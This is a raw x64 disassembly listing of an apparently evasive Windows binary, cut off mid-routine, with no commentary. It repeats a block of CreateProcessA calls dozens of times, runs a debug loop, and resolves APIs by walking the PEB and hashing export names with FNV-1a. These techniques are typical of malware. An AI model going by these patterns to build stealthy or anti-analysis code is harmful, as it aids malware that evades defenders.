lea rax, [rbp + 0x11e0]
xor ecx, ecx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
xor r9d, r9d
mov dword [rsp + 0x28], 0x400000
xor r8d, r8d
xor ecx, ecx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov qword [rsp + 0x38], r12
xor ecx, ecx
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
xor r9d, r9d
lea rax, [rbp + 0x11c0]
xor r8d, r8d
mov qword [rsp + 0x48], rax
xor ecx, ecx
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
xor r9d, r9d
lea rax, [rbp + 0x11c0]
xor r8d, r8d
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
xor r9d, r9d
mov dword [rsp + 0x20], r12d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
xor r9d, r9d
mov qword [rsp + 0x30], r12
xor r8d, r8d
mov dword [rsp + 0x28], 0x400000
xor ecx, ecx
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov rdx, rax
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
xor r9d, r9d
lea rax, [rbp + 0x11e0]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
xor r9d, r9d
xor r8d, r8d
mov rdx, rax
xor ecx, ecx
lea rax, [rbp + 0x11c0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x11e0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x400000
mov dword [rsp + 0x20], r12d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov edx, dword [rbp + 0x11d4]
mov r8d, 0x40010004
mov ecx, dword [rbp + 0x11d0]
call qword [sym.imp.KERNEL32.dll_ContinueDebugEvent]
mov edx, 0xffffffff
lea rcx, [rbp + 0x1720]
call qword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
lea rcx, [0x1402b1b00]
call fcn.1400935a0
lea ecx, [r12 + 8]
call fcn.1400a02e0
lea rcx, [0x1400913e0]
test rax, rax
je 0x1400541f6
mov qword [rax], rcx
jmp 0x1400541f9
mov rax, r12
lea rcx, [rbp + 0x12a8]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x14004f3f0]
xor ecx, ecx
mov dword [rsp + 0x20], r12d
xor edx, edx
call fcn.1400d2db0
mov qword [rbp + 0x12a0], rax
test rax, rax
je 0x14005ac95
mov r14d, 1
movaps xmmword [rsp + 0x1fe0], xmm6
movaps xmmword [rsp + 0x1fd0], xmm7
movaps xmmword [rsp + 0x1fc0], xmm8
movaps xmmword [rsp + 0x1fb0], xmm9
movaps xmmword [rsp + 0x1fa0], xmm10
movaps xmmword [rsp + 0x1f90], xmm11
movaps xmmword [rsp + 0x1f80], xmm12
movaps xmmword [rsp + 0x1f70], xmm13
movaps xmmword [rsp + 0x1f60], xmm14
movaps xmmword [rsp + 0x1f50], xmm15
cmp dword [rbp + 0x12a8], r12d
je 0x14005ace9
movaps xmm0, xmmword [rbp + 0x12a0]
lea rcx, [rbp + 0x1820]
movdqa xmmword [rbp + 0x1820], xmm0
call fcn.14009f798
test eax, eax
jne 0x14005ace9
xorps xmm0, xmm0
movdqa xmmword [rbp + 0x12a0], xmm0
call fcn.14009a270
test al, al
je 0x140054576
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140054367
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140054367
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x811c9dc5
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140054362
nop dword [rax]
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x140054340
cmp r8d, 0x23a979e4
je 0x14005436c
test r9d, r9d
jne 0x140054320
mov rax, qword [rax]
jmp 0x1400542f0
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
